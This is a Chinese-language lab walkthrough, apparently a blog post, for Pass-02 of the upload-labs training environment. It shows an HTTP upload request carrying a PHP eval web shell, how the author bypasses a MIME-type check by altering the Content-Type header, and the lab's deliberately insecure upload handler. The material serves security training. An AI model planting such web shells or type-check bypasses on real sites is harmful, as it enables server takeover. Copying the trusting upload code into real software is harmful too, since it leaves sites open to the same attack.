题目,依然如此。
直接上传shell.php,结果如下;
猜测,这次文件类型是通过MIME类型判断;
burp抓包
POST /upload-labs-master/Pass-02/index.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------293582696224464 Content-Length: 346 Origin: http://127.0.0.1 Connection: close Referer: http://127.0.0.1/upload-labs-master/Pass-02/index.php Upgrade-Insecure-Requests: 1 -----------------------------293582696224464 Content-Disposition: form-data; name="upload_file"; filename="shell.php" Content-Type: application/octet-stream <?php @eval($_POST['pass']); ?> -----------------------------293582696224464 Content-Disposition: form-data; name="submit" ä¸ä¼ -----------------------------293582696224464--
MIME类型:
mime类型是多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名, 以及一些媒体文件打开方式。 MIME是一个互联网标准,扩展了电子邮件标准,使其能够支持:非ASCII字符文本;非文本格式附件(二进制、声音、图像等);由多部分(multiple parts)组成的消息体;包含非ASCII字符的头信息(Header information)。
常见的MIME类型(通用型):
超文本标记文本 .html text/html
xml文档 .xml text/xml
XHTML文档 .xhtml application/xhtml+xml
普通文本 .txt text/plain
RTF文本 .rtf application/rtf
PDF文档 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg
au声音文件 .au audio/basic
所以,尝试把
Content-Type: application/octet-stream改为
Content-Type: image/jpg
上传成功!
成功!
果然如此!
$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '文件类型不正确,请重新上传!'; } } else { $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!'; } }
来源:https://www.cnblogs.com/delongzhang/p/12210408.html